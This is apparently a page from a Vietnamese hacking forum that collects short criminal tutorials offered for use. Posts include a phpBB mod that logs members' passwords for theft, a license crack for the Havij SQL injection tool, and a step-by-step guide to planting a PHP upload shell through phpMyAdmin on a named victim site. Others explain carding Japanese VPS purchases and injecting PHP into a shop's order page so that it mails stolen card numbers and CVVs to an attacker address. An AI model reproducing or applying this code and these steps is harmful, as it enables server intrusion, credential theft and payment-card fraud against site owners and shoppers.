Mob hack view pass member phpbb

Day la mob tao 1 nhat ky pass va ten dang nhap cua thanh vien va admin moi lan dang nhap vao dien dan giup admin quan ly mem tot hon, tuy theo y thich cua admin co the loi dung an cap pass nay de choi game cua member, dang nhap yahoo cua member de tan nguoi yeu cua member, dang nhap vao admin dieu khien cua cac quan tri wap khac xoa toan bo du lieu choi… nhung chi lam duoc doi voi nhung member co thoi quen dung có 1 pass.
Download:
http://quochuy.h2m.ru/files/coding/forum/phpbb-wap/quochuy_hack_view_pass_member_phpbb-wap.zip"

Xem Thêm

hack shop https

lúc nãy có bạn pm mềnh nhưng do đang chén nên trả lời qua quýt, sr nhé!!!


Để có havij Pro hack được https

Để có một havij Pro thật sự hack dc https, dump file, xml
Chính vì anh em sợ dính virus ở các bản đó nên mình mới đưa ra cách này nhé.
Cách của mình là làm giả server check license.
Đầu tiên các bạn mở file hosts ra

CWINDOWS\system32\drivers\etc\hosts
Thêm vào đó dòng : 127.0.0.1 itsecteam.com

Sau đó các bạn cài đặt hoặc havij Pro 1.14 bản chưa crack ( có thể cài trước cũng được )
Tiếp đó các bạn cài localhost bằng xampp hoặc vertrigo ( bất cứ webserver local nào cũng được )
Trong thư mục để chạy web bạn tạo folder sau : havij406
Ví dụ: xampp thì là Dxampp\htdocs\havij406
Sau đó bạn tạo file check license với tên validate.php
Nội dung như sau :
Quote:
Code:
echo ("Havij Ad...ced SQL Injection Tool|True|leoneblina@aol.com|03a8dff80e77702fb3fcc 44930923c6b");
?>
bạn ngắt mạng cho chạy localhost rồi bật havij lên đăng kí register

Các bạn dùng cái license của ai đó đã share mà tên người dùng là leoneblina@aol.com
trỏ đến file leoneblina.lic
Lúc đó sẽ register thành công.

Nhưng nó có nhược điểm là thỉnh thoảng mà ta hack dính đến cái nào của bản pro thì nó sẽ bị kiểm tra và báo là sai license. Anh em nhấn lại register thì lại hack được bình thường.
Sử dụng cách này thì các chức năng còn lại ngoài 3 chức năng đã nói không dùng được thì dùng vô tư. Nhất là chức năng bypass
Tránh được virus mà lại full hack dc https

Xem Thêm

Cách khôi phục password admin của forum VBB

Với các diễn đàn thảo luận dùng VBB, password sẽ
được mã hóa md5 đến hai lần. Do đó, bạn cần thực
hiện nhiều bước:
+Chọn table users trong database của vbb.
+Bấm Browse để xem danh sách thành viên. Chọn
account Admin. + Tại khung thông tin về tài khoản, chú ý giá trị
trong dòng salt. Giá trị này gồm 3 ký tự và mỗi thành
viên sẽ có một giá trị khác nhau.
+ Mã hóa password mới sang md5 tại http:// www.tinyurl.com/mahoamd5 + Sau khi mã hóa, bạn thêm ba ký tự trong dòng
salt vào cuối đoạn code MD5. Xong, nhấn nút Mã hóa
một lần nữa.Ví dụ: Với password 123456, sau khi
mã hóa sang md5 sẽ được chuỗi
abcxyzefhdksfhsdkjhfsdkjh (ví dụ thôi ), và giả sử
giá trị tạidòng salt là e[( , bạn vào lại website mã hóa, nhập vào khung Nhập Password giá trị
abcxyzefhdksfhsdkjhfsdkjhe[( rồi bấm nút Mãhóa._
Trở lại database, bạn dán đoạn code MD5 mà
website cung cấp vào cột Value tại dòng
Password.__________________ và Save lại.
Test thành công trên Vbb3.8.4

Xem Thêm

Share code Gallery đẹp phù hợp làm site cá nhân

Cái này chắc nhiều bác có rồi, nhưng em post lấy tinh thần, code Gallery khá đẹp.
Demo: http://appleviet.info

Hidden Block (1 post(s) are required, you have 5):

http://appleviet.info/gallery.rar

Xem Thêm

creating private socks

Anh em đừng lạm dụng làm nó ban VN nhé

reg acc https://www.digitalocean.com
create droplets: centos 5 hoặc 6 đều ok nhé.
mỗi email 1 acc nhé.
dùng 1 gmail thêm các dấu . thành nhiều email hiện giờ vẫn dc, có thể nó  

sẽ kiểm tra sau.
Chờ 1-2 ph check mail nhận ip, password.
Connect vào bằng ssh client (sercure crt hoặc tunnelier hoặc putty hoặc...)
Run command:
Code:
echo y|ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa;cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys;ssh -fND 0.0.0.0:8888 -o StrictHostKeyChecking=no localhost


OK
Close kết nối.
Bạn đã có sock : ip:8888.
sock này vừa là socks4, socks4a,socks5 nhé
dùng 4 hay 5 đều được.

Xem Thêm

Tool scan bug website rất hay

Trích dẫn

# Exploit scanner
# Port scanner
# Denial of Service testing
# RAW connection
# HTTP header & cookie manipulation
# Whois
# Fingerprinting
# Exploit search

Download

Xem Thêm

Shell telnet 1.1 ver vinakid

http://www.mediafire.com/?lfj6eptdgge3da4

thêm chứ năng edit file, gõ lệnh : gedit tênfile

Xem Thêm

[Tut] Upshell PhpMyAdmin

Vì là newbie nên chưa có tut gì đóng góp cho diễn đan. Hôm nay mạo muội post tut upshell via phpmyadmin. Có gì khiếm khuyết mong các ACE trong rum bỏ quá cho.

Bước 1: Tìm Path của document root

+ Vào link http://www.victim.com/xampp/
Ví dụ: http://www.ehtpe.co.cu/xampp/





+ Vào Php infor() để xem path document root : C:/xampp/htdocs 





Bước 2: Loggin và cơ sở dữ liệu: 

+) http://www.ehtpe.co.cu/phpmyadmin

Bước 3: Tạo Database mới

Ví dụ: VHB_Group.

Sử dụng query:

CREATE DATABASE  VHB_Group;

Hoặc như hình minh họa dưới:



Bước 4: Tạo table mới

+) Trong database VHB_Group vừa tạo, tạo table mới, đặt tên là soleil, sử dụng query sau:

CREATE TABLE soleil (contentshell varchar(10000) not null)      

Bước 5: Chèn code shell

+) Chèn code shell upload vào table Soleil vừa được tạo, sử dụng query sau:

Quote

INSERT INTO soleil VALUES ('<?php
if ($HTTP_POST_VARS[\'submit\'])
{
if (!is_uploaded_file($HTTP_POST_FILES[\'file\'][\'tmp_name\']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES[\'file\'][\'size\'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES[\'file\'][\'tmp_name\'],$HTTP_POST_FILES[\'file\'][\'name\']);
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>

<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>');

Bước 6: Export file php 

Sử dụng querry:

SELECT * INTO DUMPFILE 'path/upload.php' from table_name;

Path: là path của document root.
Ví dụ:

SELECT * INTO DUMPFILE ' C:/xampp/htdocs /upload.php' from soleil;

Bước 7: Chạy Shell

Run shell theo đường link: http://domain/upload.php
Ví dụ: http://www.ehtpe.co.cu/upload.php



Sử dụng shell upload.php chúng ta có thể upload bất kỳ shell nào:

Xem Thêm

TUT VPS japan CCN

Nguyên liệu:
CCN đủ tiền 
Socks us
Mail j cũng ok
######################################
######################################
Victim: www.dream.jp/vps
######################################
######################################
đầu tiên chọn plan, có 4 loại plan
1gb ram, 2gb ram, 4gb ram và 1 plan creat dc thêm 5 vps
sau đó chọn os
tiếp theo điền mail để verify mail
nó sẽ gứi mail về có chứa mã verify, nhập đúng mã là qua bước điền info
Bước điền info hơi khó khăn xíu:
2 ô đầu điền password
2 ô tiếp theo điền name bừa
2 ô tiếp theo điền ô đầu là カ ô thứ 2 là ナ
tiếp theo điền phone bừa vào
sau đó lên google tìm cái zipcode jp rồi nhập vô, nhập xong nhấn cái nút bên cạnh
tới khúc có 4 ô kế nhau thì điền ô đầu là 16, ô 2 là 1 và 2 ô kia bỏ trống
vậy là done, kéo xún dưới điền cc nhé
xong thì nhấn cái nút to to rồi fang tới thôi
demo điền info

Tiếp phần setup vps nhé, khi đã có info về mail thì connect ssh của nó với tunnelier
điền ip, user, pas đầy đủn, quan trọng là port connect là 3843 nhé
VPS này cài sẵn apache nên ai xài thì xài không thì làm như sau
nhập lệnh yum eraser httpd
tiếp theo nó bảo chọn yes or no thì nhập y
Xong xuôi thì nhập lệnh hostname abc.com
Chú ý thay abc.com = domain tùy ý nhé
Đến đây thì cài cpanel or cái j thì tùy các đồng chí
demo: nhoxpy.vn
VPS chỉ reg dc 1month thôi nhé  nhưng live 2 month là chuyện thường

Xem Thêm

_Code tuyển dụng Đẹp

_Source+data

http://www.mediafire.com/?bva8uaav4wzx78b

Xem Thêm

Pub TUT Hack CC

allinurl: /sub.php?Page=1

chuyển về dạng

http://abc.com/detail.php?pid=....

hack bằng tool hoangduye cũng được mà havij cũng được,hack bằng cái gì cũng được

get admin ( trong table user nhớ gét colums role để tìm admin ,pass mã hóa sha1( admin thường thì role là 1)

link admin

http://abc.com/admin_login.php

http://abc.com/cp

vào admin phần category up shell lên để đuôi php hoặc .jpg.php tùy thích

tiếp theo vào shell sửa file orderconfirm.php ( tùy file tùy shop cách tìm file này là vào shop order đến phần nhập cc sau đó hiện comfim sẽ ra name file http://abc.com/file can edit .php

vào shell tìm file đó

sau đó tìm đoạn này

<? echo

"" . substr($card_no,-4) . "<br>" .

$ex_month . "/" . $ex_year . "<br>" .

$cid;

?>

thường thì code gốc là hiện 4 số cuối của cc

sửa số màu đỏ thành số 0

sau đó gán thêm hàm này vào phía dưới

<?

$to = 'tmtno1@vnhack.us';

$subject = 'CC - Order ID:'+$order_id; $message = $order_id."|".$card_type."|".$card_no."|".$ex_mont h."|".$ex_year."|".$cid."|".$bill_name."|".$bill_a ddress."|".$bill_city."|".$bill_state."|".$bill_zi p."|".$bill_dphone."|".$bill_country; $headers = 'From: webmaster' . "\r\n" . 'Reply-To: webmaster' . "\r\n" .

'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);

?>

notice : do file order chính mã hóa nên hack cc bằng cách sử file nối đến file order chính,cc k đảm bảo live 100%,chuẩn bill 100%

có shop thì có thể xem đc cc mã hóa qua admin,có shop thì k lưu lại cc nên phương pháp hack = shell này nhanh gọn lẹ nhất

Xem Thêm